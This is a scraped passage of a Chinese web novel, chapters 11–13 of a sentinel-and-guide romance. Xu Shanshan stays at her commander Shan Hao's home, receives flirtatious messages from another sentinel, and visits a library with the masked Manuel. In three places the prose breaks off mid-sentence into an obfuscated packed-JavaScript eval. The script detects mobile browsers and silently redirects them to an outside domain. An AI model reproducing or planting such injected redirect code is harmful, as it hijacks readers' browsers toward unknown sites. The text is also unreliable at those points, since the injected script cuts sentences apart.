比起紧张、恐慌,他更希望她露出放松的神情。心情也逐渐好转,嘴角扬起,看向仪表盘上的时间,决定让她好好睡一会儿。 徐珊珊醒来的时候,发现自己身处于一间陌生的卧室,躺在大床上,身上换了睡衣,她揭开被子,脚伸进地上摆放好的拖鞋,站起身。在房间里四处环顾,地毯软绵,房门被敲响。她的心提了起来。 “醒了吗?” 是长官,她松了一口气,肩膀沉下来,白紧张了,“醒了。” “饭做好了。” “好。”脚步声离去,她清洗后走出卧室。 探出上半身,一颗头冒出来,随后整个人走出去,轻轻带上门。她还是第一次来领导家做客,有点紧张,颇感新奇地四处张望。 左下方停着一个智能机器人,见她看出来,从待机状态中恢复,屏幕从加载的圆圈变成波浪线笑脸。 “你好。”她轻声说,往右侧离开,站在二楼往下看,高挑空阔的客厅,男人系着黑色围裙,在厨房、餐厅间来轮转,桌面逐渐被摆满。 她走下楼梯,想要帮忙。山昊再三摆手让她坐下等,她便坐下休息,撑着手靠在餐桌上,看他忙来忙去,不禁感到好笑,有点像贤妻良父,就是那种家庭煮夫。 为避免被发现,她抬腕检查通讯消息,只有垃圾广告。带子绑在手上闷得慌,她解开腕带的系扣,将它从手上脱下,放到一旁。 男人收拾完也坐下来,“吃吧。” 她右手握起筷子,突然一股液体从体内淌出,男人的鼻翼嗅动,她猜他发现了,怎么偏偏是这个时候,难为情地放下筷子站起身。 “怎么了?”他紧张地起立,推开椅子,走到她身边,挡住光线。 “卫生间在哪?” 她穿过长廊,走向男人指向的房间,拧开门。 “你出血了。” “你出去吧,我一个人待会儿,” 男人被迫退出卫生间,门被关紧,锁上,打开通风,嗡嗡声响起。她扶着墙走进里面,她坐了下来,感受到冰凉的刺激,倒吸一口冷气。 该死,脱下自己的裤子,内裤底被染得鲜红,她来月经了。幸运是她从不痛经,因此只需要处理经血。 血气沿着门与门框、地面瓷砖的缝隙传出去,男人从储物室中取出药箱,检查止痛药瓶身的保质期,摇晃听响声,开盖查看颜色,还有绷带、碘伏。 男人表情严肃地站在门外,“开门让我看看。” “我没事,”她的语气有点虚,看什么看,不准看,“我很抱歉,长官。” 他想听的不是这个,她到底是哪里受了伤,不要逞强。手掐在药箱边缘,塑料框被捏得变形,心率变快,“别犯傻。” 闻见味道变得更浓,像一场大出血,里面的人默不发声,他果断向下拧把手,被锁住了。 “我没事。”她怕他下一秒破门而入,不由得连忙解释,“抱歉扫了你的兴。” “那就告诉我你怎么了。” 没办法,她只能坦白了。她稍微大了点声,“长官,我来月经了,你知道月经吗?” 男人的声音停住,动作停下,恍然大悟,语气不自然,耳廓羞红,他走开了。 男人穿过长廊、客厅,坐在餐桌前,目光始终注视着走廊尽头的卫生间,不一会儿,冲水声响起,紧接着是哗啦啦的流水声,不久房门打开一角, 生理期,他知道这事,部队中的女性哨兵因为剧烈训练,大部分例假失常。人类进化后,经期对女性的影响就没有那么大了,是他大惊小怪了。 但她身上的气息让人难以自控,他只能想些别的事转移注意力。桌上的光脑突然震动,屏幕亮起,弹出一条消息,不久又发来数条。 什么人找她? 他抬手,将它拾起,举至跟前,上下滑动屏幕,大意就是:想你,你在干什么,吃饭了吗,今天训练好累,这个角度你喜欢吗? 随后传来几张照片,即使不用点开他也能想象到那是什么,嘴角落下来,他将光脑放回原地。 他在骚扰她,她喜欢这样的哨兵吗?山昊看向卫生间门口,神情逐渐变得冷淡,眼底的光变得黯淡。 她用纸巾垫了垫,所幸第一天流量不大,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904795|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去再买卫生巾,摁下冲洗阀门。打开水龙头,搓干净手,烘干手指。她推开门走出去。 站在走廊的这头,长官坐在餐厅的那头,他看过来,神色不明,一言不发。 这是怎么了? 她低头看向换过的衣服,给自己鼓起勇气,她都还没质问他呢,哪轮得到他来问我。 这种气势在走近的每一步逐渐熄灭,直到她坐到椅子上,看见自己摆放在一旁的光脑屏幕亮起,猫猫头不断发出消息的那一刻,彻底消亡。 天要亡我。 你什么时候发不好,偏偏这时候发,你是要害死我啊猫猫头,她的内心在咆哮。 她僵硬地抬起头,不敢直视对方的眼睛,只盯着胸前的围裙口袋,不敢想他有没有看见,应该没看见吧,他那个角度是颠倒的,看不清字。 全是些轻浮的、不入流的话,伸手将它翻过去,想要假装无事发生。 她伸手去拾餐盘上的筷子,男人突然开口:“他是谁?” 完蛋啦,祈求失败,露馅了,好不容易想干点坏事就这么快被发现。她有些丧气地回应,试图装傻,“啊?” “把它打开,递给我。” 他表面看着平静,但她觉得他可能已经气疯了,别问她怎么知道的,问就是有同款老爸,以前网恋被发现她“死”得很惨。 要是再让他看到里面的消息,那还了得,难得的硬了一口气,拒绝道:“不。” 热菜冒着香气,灯光撒在两人的脸上,她的肚子咕咕叫,打破沉默的氛围,鼻尖嗅入肉香,口中唾液分泌,嘴巴嚅动。 她饿了,男人意识到这一点,他抬起杯子,往里面倒了一杯白色清酒,灌入口中,甘甜的,几乎没什么酒精味。 考虑到她来例假,递给她的是一杯水,接着没说什么,拿起筷子,两人无声进食。 进餐氛围变得紧张,罪魁祸首还在兴风作浪,光脑仍时不时震动,她对此感到厌烦,伸手抬起来,点开聊天界面,输入: 【我不想看,不准再发了!】 她抬眼一看,才发现自己发错人了,发给了“绿眼狗”,对方回了一个问号。叹了口气,沮丧地将情景模式改成静音,无奈地扶着脸,挡住眼睛。 “你不喜欢这些?”山昊夹起一块排骨,“吃点肉可以长高。” 他就这样若无其事地给她夹菜,慢慢堆在她碗中,就好像真的相信她还能长高。 因为长官厨艺很好,炒什么都很好吃,她也跟着台阶下,将它们吃完了。 “喝点汤?” 她摇头拒绝了,碗中夹了太多吃不下,“我饱了。” 于是男人展现了他的战力,风扫残云般将桌上的其他菜全部吃入肚中,给她看得目瞪口呆。哨兵,食量这么大的么?那她还说要请客,这不得把她吃破产。 接着他若无其事地将她的那碗也接过去扫光,她不由得震惊,不要吃我的剩饭啊长官,白塔已经这么穷了么? 男人吃完饭,起身将餐盘、碗筷都放入洗碗机中,收拾好后脱下围裙,手从外套袖口中伸出。 “回卧室换一身衣服,你的衣服应该干了,我已经托人买卫生用品来,一会儿送上去,你换好后,我送你回去。” 她小心地问:“我的衣服是你换的吗?” 男人的脸别过去,“机器人换的,你放心。” 她的脚黏在地上没有动,男人转身,系好扣子,回头看她还没有动,不是要和别人聊天吗? “怎么了?” 手指相扣,梗着头,断断续续地说完:“长官,我看你心情不太好。” 男人没有否认,她继续说:“我不想你心情不好。” “你不想回去?” 她点点头,“我感觉那里不安全。” “不,我会送你回宿舍,整个楼层都有人守着,不会有危险。” “不,”她再次拒绝了,于是男人不解地看过来,她看向他的眼睛,“我想留下来,只要你明早送我回去就行了。” “明天休假。” 好吧,她忘记这一点了,她扭扭捏捏地说:“我可以留下来吗?我有话跟你说。” “可以。” 院子的门铃响起,男人走到房门口,回头看了她一眼,打开门朝外走去。 11. 第 11 章 狂风吹歪枝丫,寒意随着开启的门扉涌入,手臂汗毛竖立,激起鸡皮疙瘩,两手交叠,她拾起桌上的光脑,躲到墙后,门关后室内恢复温暖。 房间里极静,只有墙上的挂钟,指针在镜面内规律跳动,“哒、哒、哒……” 短暂的放空期,抬头左右环视,心中仍有郁结,点亮屏幕,她准备看看那个“罪魁祸首”做了些什么。 被发现这件事,她感到有些羞耻,虽然没做什么,但好像就做了什么见不得光的事一样。点开聊天记录,左侧大段来信,右侧绿框寥寥无几。 室外,橘调夕阳落下,天空被染上墨色。 身体轻晃,腹部酸涩,汗珠沿着下颌坠落,男人撑起手肘在做平板支撑,腕部的光脑发出叮咛声,他摊开手掌,推地将自己弹起来,露出一个自信的微笑。 低头见垒块分明的结实肌肉随着呼吸外扩内缩,也不枉他辛苦锻炼。一想到对方赞赏的话,虽然不过短短几字,他也能直接充满电,再鏖战一夜了。 心脏咚咚直跳,粗大的手指戳开窄小的屏幕,期待又紧张,她会给出怎样的评价?他站在那儿等着,直到身体里的热意褪下,室外的凉风吹得他心神摇晃,还是没有回信。 她以往上线总要回自己的。 男人剃着板寸头,从头顶到后颈的颜色变浅,发型硬朗,额头横向后方有一道刻意剃光的划痕,显得放荡不羁,但此刻却抱住小巧的光脑,凑在跟前,一脸苦恼,似乎怎么都搞不明白对方在想什么。 眼见着直到绿点消失,连风都停了,她也没回消息,他忍耐了许久的郁气顷刻涌出,愤愤地想,她凭什么不回他?但手上打出来的字仍然懂事乖巧。 【我做错什么了吗?我可以改。】 他抬起头,深呼了一口气,身后传来喊声,“阿瑞斯,查房了!” “快进来,今天和以前不一样,严格得很。” “知道,我来了!” 他一边往回走,看见屏幕上,消息左侧弹出一个红色感叹号,被拉黑了,胸口发闷,像要裂开了一样,小心喘着细气。 都怪那臭小子,听说那混蛋今天发狂,试图攻击两名向导,怎么不去死呢?他想,也许她也听说了这件事,而改变了对他们的看法…… 面上还一副桀骜不驯的狂妄面孔,只有加快的眨眼频率透露了心神不宁 见他这幅样子,同队哨兵对视了一眼,闭着眼睛都能想到发生了什么,随着隔壁的推门声响起,一行人站直,等候检查人员持着器械走进来,一个接着一个给他们做监测。 直到检查结束,他们走下楼梯,站在门口的人推拢房门,翻了个白眼看向自己的恋爱脑队长,真是胸大无脑,他还是一副抱着光脑魂不守舍的样子。 “又怎么了?” 阿瑞斯:“她不回我消息。” “这不是很正常吗?” “是啊,你再等等,说不定明天就回了。” “可能还在洗澡,没看到。” 阿瑞斯的情商比较低,好在他有一支小队的幕后军师,听到众人的安慰,他的表情并没有变得更好,反而更沮丧,如果身后长出尾巴,几乎完全耷拉下来了。 “她把我拉黑了。” 房间里有人吹了个口哨,他倚靠在墙边,“我就知道,队长你省省吧,她就是玩玩你,向导就是这样的。” “不需要了就把你一脚踢掉,你别痴心妄想,到最后跟那个人一样。” 他从不知道哪里掏出一个私藏的平板,将图片放大,“你看他这幅样子。” 听见越界发言,坐在门旁的男人出声制止,“别说了,”这是规定,对方一脸不服气,将平板放下。他随后安抚阿瑞斯,“可能是发生了什么误会,你先别急。” “等等。” 阿瑞斯突然出声,他走到墙边,伸手朝向刚刚出声的男人,对方哀嚎,“队长,这是我好不容易藏起来的,我就说了你两句,没必要吧。” “大不了我不说——” “闭嘴,”宽大有力的手掌轻拍他的头顶,一把将平板从他手中抽出,将屏幕上的图片拉到角落,不断放大,这个身影怎么有点熟悉? “怎么了?” “他差点伤到她。”男人咬牙切齿地说,气得满脸通红,手锤向墙壁,凹陷进去,看起来就像要把那个生死未卜的男人拉出来再打一顿。 “OK。”阿瑞斯将平板递还给他,他耸了耸肩,反正维修费不是他出,把平板收起来,看来队长又要发疯了,不过没关系,反正会有人制止他的。男人伸展腰肢,打了个哈欠,坐到床边。 “冷静一点。” “他差点伤到她。”阿瑞斯又把这话重复了一遍。 坐在门旁的副队,忍了很久,终于决定把事实告诉他,省得他一晚上神神叨叨,“她没事,你喜欢的向导。她被别人保护得很好,你可以放心了,没受任何伤。” “不过……” 阿瑞斯:“不过什么?” “看起来她似乎已经有别的哨兵了。” 阿瑞斯抬眼看去,心中响起警铃,“你怎么知道?” 副队:“外出时看见的,他的军衔比你高,两人一起坐车外出,听说是要去他家吃饭,好像是上下级关系。” 他听得很清楚,为了不刺激他,男人贴心地没说两人紧靠在一起这件事。 “那又如何?”听着前半句,他不服气地说,但听了后半句,又没将话说完,陷入了一种诡异的沉默。 “她有哨兵了……”阿瑞斯显然陷入沉重打击,他没想到自己竟然是后来者。 副队:“你们不是在论坛上认识的吗?” “她当时说了什么?” 他努力回忆,“她很关心我,让我培养兴趣爱好,问我平时读书吗,我没来得及回,就有一个人插足了。” 副队指正,“以你们目前的关系来说,算不上‘插足’,”他接着问:“那他怎么回的?” 阿瑞斯根本不关心他,也没记,此时才掏出光脑,翻看帖子,接着将实情告诉副队,希望他能想出点什么办法。 “周末休假,她既然不在塔内,又对历史感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904796|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴趣,按你的说法,很有可能会去B区的图书馆,你要不要去等等看?” 面对阿瑞斯的感激,副队已经习惯,除了指挥战斗和亲身作战,队长对其他事基本一窍不通,既然事情解决,他看向众人,“好了,回房间休息,别一窝蜂挤在这儿。” 徐珊珊的手指落在屏幕上,上下翻看了对方的消息,其实也只是寒暄和自我展示,没什么令人反感的话,她又点开对方发送的照片,吞咽了口水,单击缩小,退了出去,点击右上角,将他拉黑。 她很抱歉。 又点进通讯录中另一个人的聊天框,绿眼小狗头像的下面有个绿点,显示他仍然在线。 他很少发消息,但会秒回。一般都是她主动找他,因为对方有点像个百科全书,两人又不相识,比较安全,她就时不时找他问东问西。偏偏对方都答得上来,历史地理人文都讲得头头是道。 她怀疑对方是个学识渊博的学者。 犹豫再三,还是没有忍心删掉自己的问答助手,以后还用得上,而且他也不吵,不会被发现。她就这样默默地洗脑自己,向对方道歉,解释自己刚才的行为。 【没关系】 真是善解人意。 “咔——” 门锁响起,男人提着一袋东西从门外走进来,在房间内寻找她的身影,发现她躲在墙根后,低头还看着光脑,嘴角露出微笑。 一刻也舍不得离开吗?他刚刚好转的心情骤降,将门关好,锁紧,走了进去。走路时,手臂晃动,塑料袋中的物品相互碰撞发出声响,将它放置桌上。 她听见了,快速放下光脑,做贼似的收回口袋,收拾好面部表情,走过来。 “长官。” “有什么事,说吧。”他的目光望向袋子,“你要用的东西。” 她抬起头看向挂钟,现在时间还早,但他眉头紧锁,似乎并不想跟她说话,她张开嘴想解释,但在对方的注视下,像被一盏聚光灯照着,内心晦暗尽显,说不出一个字。 “有话直说。” 她目光飘忽,四处张望,嘴上干巴巴应下,突然看见抽屉里露出的碟片一角,专辑封面刻在外壳上,她提议:“我们一起听歌吧。” 音乐……他没什么心思听音乐,她的味道让他意乱神迷,只怕自己做出不合适的举动,他摇了摇头,站起身走上楼梯,五指放在扶手上,“今天发生了很多事,你早点回房休息。” 见她没反应,再次强调,“晚上九点前,回到房间,好好睡觉,不要熬夜。” 本来她心里鼓着粉红泡泡,想找他坦白,还期待着对方的反应,冷淡的话完全将它们戳破了,思绪回归现实,手伸向塑料袋,来回翻看,里面有好几种经期用品,还有贴身衣物。看来他把所有品类买了个遍,她说怎么会这么大一个塑料袋。 “好好休息,明早我们外出。” 似乎觉得自己的语气太生硬,他走到二楼停下,补上一句。行吧,明天,明天再跟他解释吧,反正周末还有两天,她总能找到机会。 她不想看到他不开心的样子。 12. 第 12 章 她走上前,蹲在电视柜前,推开抽屉,数枚CD被正方形透明塑料盒装好,叠放整齐。没想到时至今日,数媒大行其道,他还收藏实体唱片。 整盘取出,握在手中,端详碟片正面印刻的图案,雨林间的瀑布,河水清澈,旋律应该比较和缓。 将其他复位,她走上楼梯,没入卧室,客厅灯光自动熄灭。 清洗好上床,将CD机放在床头,碟片放入,摁下开关,缓缓转动,关闭顶灯。 她睁开眼,月光照进地面,一闭眼,那头巨大的黑犀牛浮现眼前,耳边响起枪击声,男人无力倒地。 溪水鼓模拟出淅淅沥沥的雨声,伴随着梦幻的竖琴音,音符飘荡在房间,她缓慢地吸气,腹部鼓起,再慢慢吐气,试图将脑子清空。 肩膀不自觉一抖,回忆撞入脑中,她想起那个伸手不见五指的黑夜,紧抱躯体,蹲坐在地上,小雨落下,逐渐汇集蔓延成一条细流,全身被打湿。 幸运的是,那天夜里,她没有遇到任何危险生物,污染体、毒虫、野兽,都没有,她活过了那个雨夜,为此感激所有人。 但幸运没有持续,第二天,长时间未进食,她感到头晕、烧心、反酸,为了生存离开洞穴,趁着天不热,出去采摘果实。 接着她遇见了污染体,她还以为是个人,向对方求助,待它转身,形似枯骨,她脚步一滞,回头狂奔。 跑不过对方,双方的距离逐渐拉近,短短数秒,她似乎感觉到它的尖锐指甲划过后背,死亡近在咫尺。 再然后,她得救了,滚烫的体温令来人一惊。 她翻转身体,将侧脸贴在枕头上,现在很安全,不用紧张。 意识模糊,音乐持续,不久后,房门开启,光束打进室内,人影居中,他轻脚走进来,关闭CD机。 男人眼睛发亮,在夜里一闪一闪,站在床头,注视着她,嘴唇粉嫩像偷偷涂了润唇膏,睡颜恬静。 她还是第一次和自己呛气。他不禁产生怀疑,更安全的选择是否正确,他那样做又是否暗藏私心。 为了更好的发展,结交友人是必要的,她不缺乏魅力,但人心难测。她天真、友善、毫无防备,缺乏警惕心,也不知道以前是怎样过来的。 看着她的睡颜,感觉铁石般的心变得柔软,像流着蜜的河流将自己包围,特殊的亲近感也许是从两人第一次见面时产生的。 像小鹿般灵动、清澈的双眼,像一泓清水,懵懂的神情,露出对世界的好奇,映照出他的内心。 如果不是危险、别有用心的人,也许他不该限制对方的交往,大树遮风挡雨,也剥夺了树苗生长需要的阳光。 俯身替她掖好被子后,男人轻步走了出去。 月亮落下,天色转明,新的一块云朵飘到窗前,她醒了。 红木桌上整齐地摆放着衣物,右侧置有首饰盒和喷剂,她猜那是用来掩盖气味的,毕竟哨兵的鼻子比狗都灵敏,打开盖子喷在身上。 面料柔软透气,这应该是他准备的。用力打开盒子,将它举起来,链条的下方坠着一个圆盘,整块红宝石,从外圈的鸽血红过渡到内圈的粉红色,逐渐变浅,约莫和拇指差不多长。 上方趴伏着一只亮黑色蜘蛛,四足细长,胫节处镶嵌着宝石,腹部圆润,缀有鎏金红斑,看起来阴森诡异。 将圆盘握在手中,她仔细辨认,这是“黑寡妇”,还挺漂亮,将它举在窗前,流光溢彩。 回归人类社会的第一个周末,举手伸了个懒腰,她换好衣服,打开房门,走出去。 拉门时被卡住了,低头看,原来是小机器人,眼睛变成相向的尖括号,她松开手,让对方进去。 站在同样的位置,她往下看,挂钟指针来到九点,她睡了十多个小时,没被喊醒。 像是能预测她醒来的时间似的,每次下楼时,饭都刚做好,坐下就能吃到热腾腾的饭菜。 独居打工人会做饭的不多,况且单位还有食堂,她以前也不做,周末就靠外卖维生。 “本想带你去外面吃的,但是你没起来,就在家做了。” 他了解到,月经期需要保证充足的睡眠,在观察到体征正常后,没有叫醒她。 连碗带筷、汤勺一并放在面前,她捏起勺子,“慢点吃,烫,”男人提醒道,她点点头,笑得灿烂,“长官,你好厉害,不仅工作能力强,做饭也好吃。” “你要是想学,我也可以教你。” “暂时就不用了吧……”她的音量变小,脑袋一缩,埋头干饭,好吃就是口味清淡。 早餐后,两人驾车离开管控区,穿过封锁线,来到更热闹的街区。 天气变得很快,昨晚刮大风,今天就出了大太阳,格外炎热,为了避免她中暑,山昊没有安排户外活动。 似乎是为了弥补昨晚没有一起听歌的愿望,他带她去听了一场演出,除了他们没几个观众。她时不时望向对方,乐曲完全结束后,随其他观众一起献上掌声。 结束后,汽车驶进小道,停在住宅前,员工站在栅栏后,见状开门,车辆驶进车库,在阴凉处下车。 典雅的室内装潢,员工穿着得体,端上两杯热茶。原来是定做衣服,量好尺寸后,量体师询问她的面料偏好。 徐珊珊:“舒适一点,好打理。” 除去定制,他还推出很多成装,问她有没有兴趣尝试,很漂亮,她没法忽略那亮眼的设计。 但它们一定价格不匪,也许不该这么花钱,看向长官,语气犹豫,“我好像用不上这么多衣服,塔内都穿制服。” 听起来像是来自白塔的冤大头,员工看出谁才是容易上钩的大鱼,不遗余力地向客户推销。 “去试试吧,我选的不一定适合你,挑两件自己喜欢的衣服。” 他好像热衷于打扮她,如果到了她的世界,相信对方一定是某换装游戏的忠实用户。 她转过头,盯着他的眼睛,这是明晃晃的示好,她愿不愿意接受? 她愿意,“好。” 随着导购走上前,对方展示第一件衣服,进行讲解,如果她转移视线,就放回去,取下一条。 如果她的目光停留,上下扫荡,就详细介绍它的优点,包括设计、面料、工艺等,直到她点头。 每次她从试衣间出来,他都是一副欣赏的表情,不知不觉,已经留下许多件。她终于明白宿舍为什么有那么大的柜子了。 “就这些吧。” 她换回原来的衣服,走出试衣间,拒绝了导购接下来的介绍,看向长官,“再多就没地方放了。” “可以放我那儿。” 真是够了,这个男人。 她低头看向胸前的项链,如果不是知道他的精神体是一只毒蜘蛛,还以为对方是花枝招展的蝴蝶,偏偏他自己不爱折腾,反过来爱捣腾她。 除了服饰,还有箱包、珠宝,她没有再看,有点逛累了,她转过头,“我饿了。” 生理期应该避免过度劳累,男人站起身,于是购物结束。结账后,店员承诺三日内会送上门,将房门推开。 热浪扑面而来,一下子感到闷热,皱着眉,看向刺眼的瓷砖反光。 山昊:“你想吃什么?” “我想喝果茶,吃冰淇淋。” “冷饮除外。”想也没想地拒绝了,生冷食物、辛辣刺激性食物都在禁止名单内。 “你安排吧。”毕竟是本地人,总比她这个外来人口更清楚当地美食。 下午炎热,午餐后,山昊本准备带她去另一处住所避暑,但她有别的意见,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904797|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我想去B区的图书馆。” “好。”男人调转车头,没问原因,像是故意顺着她。 车辆停靠,两人下车。 由两栋十五层建筑物组成的图书馆屹立眼前,中间有三座天桥连接。走进大门,掏出证件通过检查,来到一楼的展览厅。 在偌大的空地上,陈列着数排展品,而中间是圆形的服务台。这是一场纪念展,上面放置着,关于那场灾变的摄影图,而底下标注着拍摄者和日期,一百年前。 他陪着她转了半圈,落在她身后不远处,迎面撞上一个很久不见的熟人,停下寒暄,她压根没注意到身后的人不见了,继续往前。 “山昊,好久不见。”男人戴着面罩,遮住下半张脸,只露出一双绿眼睛,手上抱着两本大部头。 “曼努埃尔,还是那么喜欢看书。”他打着招呼,但目光仍停留在她身上,观察四周是否有可疑人员。 两人还没说上几句,他的光脑发出急响,紧急召唤,山昊低头检查,紧急的事,他要回去一趟。 “突发情况。” 曼努埃尔:“你请便。” 男人转身走向看得入迷的女人,两人站在一起,他低头喊了她的名字,“徐珊珊——” 他听到了,没想到会遇见,抬手摸向侧脸,粗粝的布料,他清楚地看清她的模样,脖子前系着蜘蛛项链,略感嫉妒。但对方采取了他的建议,来到这座图书馆。 两人出现分歧,长官想要带她回白塔,但是她还想待在这儿。 “这里治安还可以,对吧。”她指向门外,“到处都有巡逻队,”理由很充分,“我就想在外面透透气,你晚上来接我,或者我自己打车回去,”她指了指光脑,“我可以给你开共享定位。” 男人手插在腰间,来回踱步,他抬头看了过来,低头和她说了些什么,紧接着她也跟着看了过来。 曼努埃尔感到自己心脏剧烈跳动起来,紧接着,两人走向他。 “你好,我是徐珊珊。”她拘谨地打招呼。 “曼努埃尔。”她应该不知道自己早就认识她。 “你今天有空吗,我临时有事要回去,麻烦你帮我陪她在这儿转一转,大约下午六点半,我会来接她。” 山昊和他曾经多次一同执行任务,同样资历深厚、值得信任,将她交给这位老伙伴应该没什么问题。 “乐意效劳。”不过不是帮他。 他很快离开,走出闸门,背影逐渐缩小,上车后再也看不见。车辆驶出十字路口,另一辆摩托车从转角驶入,尾气从排气管中喷出。 “紧急任务,”一道声音拉回了她的注意力,她紧张地扯开嘴角,笑着说:“是的,他比较忙。” “你有别的事吗,其实我一个人就行。” 曼努埃尔:“我没有别的事,能够为你服务是我的荣幸,请随意使用我。” 看向他黑色的面罩,仍挡不住一张粗犷的脸,她不禁感慨,同样是哨兵,为什么态度这么不同。 “你的项链很漂亮”她的注意力被对方胸前的链子吸引,“这是什么?” 曼努埃尔:“队伍的纪念品,”眸子看向她的衣领处,耀眼的红色宝石,状似漫不经心地说:“它也很衬你。” “嗯,”她没将话题延续下去,没显露出什么态度。 “我想去上面看看。”一楼是供给借还书的,包括杂志期刊阅览室,藏书应该在上面。 “好,电梯在这边。” 电梯上行了很久,在他轻车熟路的引领下,两人来到收藏历史类图书的楼层,穿过走廊时,“你想看哪段时期的历史?” 好像又是一个行家,“大灾变到现在。” 曼努埃尔:“我知道它们在哪。”男人将她领到对应的书架前。 13. 第 13 章 他的手指指向一套并排着的书的书脊,这是向她推荐的意思,这一排书架的书压得有些紧密,她抽不出来,手掌覆下,下压旁边的一本书,它才歪斜着被抽出来。 第一册,好像有五百多页,讲的是大灾变前后,她随意翻开一页,左上方印有彩色图片,诡谲的生物让她一下子陷了进去,抱着书,走到一旁的座椅上。 这座图书馆的内部空间宽阔,人与人之间隔着一个座位的距离,曼努埃尔跟着坐在不远处,看她入了迷,指尖搭在书页边缘,一页页翻动。 他坐在右侧,她低头看书的时候,头和肩膀习惯性地朝□□,眼睛眨动,眼珠伴随着阅读位置上下转动,从中央空调吹出的微风将她耳旁的碎发糊到脸上,女人伸出食指将它揽在耳后。 她的名字无声地在脑海中播放,在看不见的面罩下方,他完好的那半边脸颊微红,翻开封面,但视线无法移开,在对方抬眼的瞬间,他垂下眼,盯向空白的扉页。 不过她只是抬头看了一眼,确认他还在这里,就安心地低下头继续了,无意识地舔了舔嘴唇。 他猜想她是渴了,从背包的网兜里掏出水壶,拆卸上方的盖子,去饮水机前接了一杯清水,放到她桌前。 “谢谢。”口干舌燥就有人送水,很贴心,她抬眼望去,望见那双浓密的眉毛,毛流的弧度,尾部的夹角,她总感觉好像触摸过,拧起眉,却回忆不起来哪里见过他。 这双深邃的绿眼睛,面罩将下半张脸和脖子全部覆盖,看起来很神秘,但他是长官的朋友,她没有理由怀疑他,道谢后抬起盖子喝下去,甘甜的水浇溉干田,爽。 曼努埃尔默不作声地经受审视,眼睛直视着,没有任何失措,就好像真的只是关怀,他确信对方是不知道自己的存在的,从未见过面,她的犹豫是认出来了么? 如果是的话,她是认出他就是那位匿名网友,还是回忆起了那晚的梦境,他原以为,那是自己思念成疾的春梦,但现在反而不确定了。 水被喝尽,仍感不满足,她站起身,但已经有人先行动了,看着男人的背影,他的手掌、手指、指甲的弧度,胳膊上的青筋,胸膛、后背和腰部的围度,总感觉越发熟悉。 但那怎么可能呢?她摇了摇头,为了甩掉这个想法,忘记这场荒唐的梦境,当男人走近后,她喝下水就站起身,“我去上个厕所。” 对方指明了方向,她拨亮光脑,往外走,远离阅读区,来到厕所外,旁边就是候梯厅,她站在门口,戳开绿眼狗的头像,对方在线,走向一旁的窗户前。 曼努埃尔看着她离开,他的视线是一直注视着她,一开始不明白,她久久未归,他本准备去找,但下一秒一条消息传来,发出震动。 他低头看去,发现是她传来的消息,该用什么描述他此时的心情,自己在她身边,却想联系的是另一个人吗?他情不自禁地想,是因为他的外貌让她厌烦吗? 也许那场梦让他开始了不该的妄想,却没法停下脚步,也走到一旁,查看来信。 候梯厅的温度比里面热得多,时不时从里面走出一行人,抬头第一眼看见这个杵在这发消息的人,她没有在意,比起这个,她更想找人确认一下。 扇子:【你好,我今天来了你推荐的那个图书馆,这里的历史书真的很多,谢谢。】 绿眼狗头像:【那就好】 不出意外,又是秒回,她刚想说些什么,见对方正在输入中,就停了下来,等待对方的回复。 绿眼狗头像:【我也在这里】 扇子:【真的吗,你在哪儿?】 刚刚看书,约莫过了半小时,才看了二十多页,刚进入第一章第一节,里面的内容确实详尽,但又因为太全面而太杂了,一时难以消化吸收。 既然身边有个了解这方面的人,为什么不约他出来聊聊呢?况且身边还有一位保镖,根本不用担心不安全。她打着这样的主意追加消息:【要不见个面,一起喝杯咖啡怎么样?】 曼努埃尔的手指悬在空中,他静静地注视着对方的邀约,这样的机会恐怕很难有下一次了,几乎下意识想答应,但他…… 绿眼狗头像:【我不方便】 这样啊,那很遗憾了,徐珊珊放下手,抬头看向窗户外,之前电梯门打开,但脚步声迟迟没响起,她疑惑地往后看,转头才发现剃着板寸头、穿着皮衣的高大男人站在她身后,静悄悄地跟只猫一样,身后竟然真的有一个狮子形态的黑影,不知道看了多久。 疑似神经病,她不敢激怒对方,面上忍住慌张,强迫自己挪开视线,小心翼翼地往旁边挪开,却哪知她一挪脚,对方也跟着改变位置,像一堵墙挡在身前。 不会是打劫吧,在图书馆?她有些后悔没叫他一块来了,这会儿遇到奇怪的人都麻烦。但最终却不得不小心翼翼地应付眼前这位“□□大哥”。 “你好,可以借过一下吗?” 两名学生一边开着玩笑一边从门口走出,她向两人投诸求助的目光,但对方仰望看这大块头,度量了一下二者的差距,决定先装作没看见,去寻求安保的帮助。 男人看上去气鼓鼓的,盯着她的脸看,不知道的还以为是花心女人负心妻,其实两人根本不认识。幸运的是曼努埃尔见她一直不出来,担心地找了过来,注意到两人的对峙场面。 